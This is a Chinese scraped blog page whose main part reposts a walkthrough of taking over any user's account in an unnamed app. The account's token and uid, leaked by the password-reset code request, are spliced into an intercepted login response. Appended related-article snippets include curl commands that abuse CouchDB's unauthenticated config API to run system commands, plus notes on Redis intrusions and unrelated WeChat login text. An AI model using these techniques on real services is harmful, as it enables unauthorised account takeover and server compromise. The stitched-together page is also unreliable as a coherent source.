看我如何未授权登陆某APP任意用户(token泄露实例)

转载:https://www.nosafe.org/thread-333-1-1.html 

先来看看这个。

  首先,我在登陆时候截取返回包修改id值是无效的,因为有一个token验证,经过多次登陆发现,我自己的手机号对应的是一个token,这个token是不变的。所以脑海中就有了一个思路,只要能够获取到一个手机号,这个手机号对应的id和token值,替换进正确的返回包,说不定就能登陆上去。

  也就是我们需要三个条件:

  1.该用户的手机号

  2.该用户账号的token

  3.该用户账号的uid值

  这个token只有在密码正确的时候,返回包中才会有。所以我们通过登陆的方式是无法获取到的。后来自己多次测试,发现在重置密码,获取验证码时候抓包截取到的返回包中,非常神奇的有token值和uid。

  我这里用18888888888来演示。

  上图是获取验证码时候截取到的数据包,我们截取返回包看看。

{"status":"200","data":{"is_success":true,"is_exists":true,"data":{"user_id":6348205,"user_name":"18888888888","nick_name":"\u8fbe\u4ee4_6348418205","token":"ded8d0f713028a8462db4befb4c6d76c","alipay_no":"","avator":"\/mobile\/2015\/02\/13\/14238004473373.png","appname":"","sex":0,"birth_year":0,"birth_month":0,"birth_day":0,"orders":21,"sales":0,"likes":0,"shares":0,"wishes":0,"ctime":1382439889,"source":2,"subsource":0,"utime":1458385205,"uuid":"","push_token":"","read_time":0,"is_new_customers":0,"daily_orders":0,"daily_discount":10,"has_password":1,"uid":6348205,"accesstoken":"ded8d0f713028a8462db4befb4c6d76c"},"exist":true,"has_password":true}}

这一串的返回包中 有18888888888这个账号的token和uid


我用自己的手机号自己的密码登陆截取到的正确的返回包是:

{"status":"200","data":{"uid":"XXX","accesstoken":"XXXX","has_password":0,"token":{"dl_token":"d6650c88576a564082c819c444d7d08d","dl_fingerprint":"9671fc0ba5fd8e98a39fa63b1a9a5532","exp_time":2419641479},"show_msg":"\u6ce8\u518c\u5e76\u767b\u5f55\u6210\u529f\uff0c\u4eb2\u5bc6\u5ea6+15"}}

用XXX表示的就是我们需要改变的

18888888888的uid是6348205 token是ded8d0f713028a8462db4befb4c6d76c

我们带入进去 所以最后得到的返回包为

{"status":"200","data":{"uid":"6348205","accesstoken":"ded8d0f713028a8462db4befb4c6d76c","has_password":0,"token":{"dl_token":"d6650c88576a564082c819c444d7d08d","dl_fingerprint":"9671fc0ba5fd8e98a39fa63b1a9a5532","exp_time":2419641479},"show_msg":"\u6ce8\u518c\u5e76\u767b\u5f55\u6210\u529f\uff0c\u4eb2\u5bc6\u5ea6+15"}}

这个包 就是用来登陆18888888888这个号的了。。

我们来尝试一下 前台登陆 随便输一个密码 抓包

  截取返回包,修改。

改为
{"status":"200","data":{"uid":"6348205","accesstoken":"ded8d0f713028a8462db4befb4c6d76c","has_password":0,"token":{"dl_token":"d6650c88576a564082c819c444d7d08d","dl_fingerprint":"9671fc0ba5fd8e98a39fa63b1a9a5532","exp_time":2419641479},"show_msg":"\u6ce8\u518c\u5e76\u767b\u5f55\u6210\u529f\uff0c\u4eb2\u5bc6\u5ea6+15"}}

放包,成功登陆。

  是不是很神奇呢?

时间: 2024-10-11 19:09:54

看我如何未授权登陆某APP任意用户(token泄露实例)的相关文章

CouchDB未授权访问漏洞执行任意系统命令exp

[email protected]:~# curl -X PUT 'http://3d9da15e7acfd5730.jie.sangebaimao.com/_config/query_servers/cmd' -d '"/sbin/ifconfig>/tmp/6666"' "" [email protected]:~# curl -X PUT 'http://3d9da15e7acfd5730.jie.sangebaimao.com/vultest' {&q

记录一次攻击事件(redis 未授权漏洞利用直接登录服务器)

听到朋友说接到阿里云的报障,提示黑客把他的服务器当肉鸡了,当时有点怕怕,继而官方的网络带宽也爆了进而系统处于瘫痪,当时我需要帮他处理这个问题 1 在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp  的查看下没有任何异常 在top 下查到了有异常进程还有些异常的这里就截图一个 3 结果果断把进程给kill -9  了  没想到再去ps的时候又来了意思就是会自动启动它 这就让我想到了crond 这个自动任务

Redis未授权访问缺陷让服务器沦为肉鸡

阿里云的安全告警邮件内容: 在没有查到异常进程之前我是先把操作系统的带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因. 在各种netstat –ntlp  的查看下没有任何异常.在top 下查到了有异常进程还有些异常的这里就截图一个: 结果果断把进程给kill-9  了  没想到再去ps的时候又来了意思就是会自动启动它.这就让我想到了crond 这个自动任务果不其然/var/sprool/cron/root 这个文件被人做了手脚而且是二进制的,果断又给删除了,以为这

服务器由于redis未授权漏洞被攻击

昨天阿里云拦截到了一次异常登陆,改了密码后就没有管他, 今天阿里云给我发消息说我的服务器可能被黑客利用,存在恶意发包行为....... 不过我不打算只是单纯的重置系统,经过一系列的查找原因后,发现被攻击的原因是我的redis没有设置登陆密码(redis 默认情况下,没有配置登陆密码,任意用户可以登录),被黑客利用然后获取到了我的root权限. 先用#ps -ef 命令看看有没有什么可疑进程 其中: START:该进程被触发启动的时间 TIME :该进程实际使用 CPU 运作的时间 COMMAND

微信授权登陆接入第三方App(步骤总结)Android。

这几天开发要用到微信授权的功能,所以就研究了一下.可是微信开放平台接入指南里有几个地方写的不清不楚.在此总结一下,以便需要的人. 很多微信公众平台的应用如果移植到app上的话就需要微信授权登陆了. 目前移动应用上微信登录只提供原生的登录方式,需要用户安装微信客户端才能配合使用.也就是如果第三方应用需要微信授权登陆的话就必须在本机上安装了微信.而后续授权登陆或调用接口之类的相当于app和微信两个应用之间通话. 1.首先需要注册微信开放平台,然后获取开发者认证.审批通过之后再创建一个移动应用同样还是

Android App实现微信第三方授权登陆

下载官方SDK 在微信开放平台,下载微信的官方SDK,以及签名生成工具. 地址:https://open.weixin.qq.com/cgi-bin/showdocument?action=dir_list&t=resource/res_list&verify=1&id=open1419319167&token=&lang=zh_CN 2.导入官方SDK 把Android开发工具包里面的libammsdk导入到你的项目中如下图: 这里要注意的是,应用签名不是在Ecl

微信授权登陆接入第三方App(步骤总结)Android

微信授权登陆接入第三方App(步骤总结)Android

微博授权登陆

微博使用AS会找不到jar包   需要将so文件放在main下jniLibs目录下 从下载的sdk中复制 AbsOpenAPI, AccessTokenKeeper, UsersAPI .java文件 自定义userInfo接收用户信息 /** * Created by Administrator on 2016/10/3. */public class SinaUserInfo { private String uid;//用户ID private String name;//用户昵称 pri

微信公众号开发简单的网页授权登陆获取用户基本信息

由于业务需要,近期在做微信公众号开发,其中一个模块是微信用户点击个人中心访问可以得到次微信用户的头像昵称国家省份等基本信息. 但由于业务需求,这块功能暂时用不上了,但这功能的实现毕竟是自己花费几天时间搞出来的,觉得以后会用的上,暂且记录一下实现过程. 首先:获取用户信息的过程属于微信网页授权登陆,再做这一块之前请先阅读微信开发文档以熟悉基本的开发过程: https://mp.weixin.qq.com/wiki?t=resource/res_main&id=mp1421140842 微信开发文档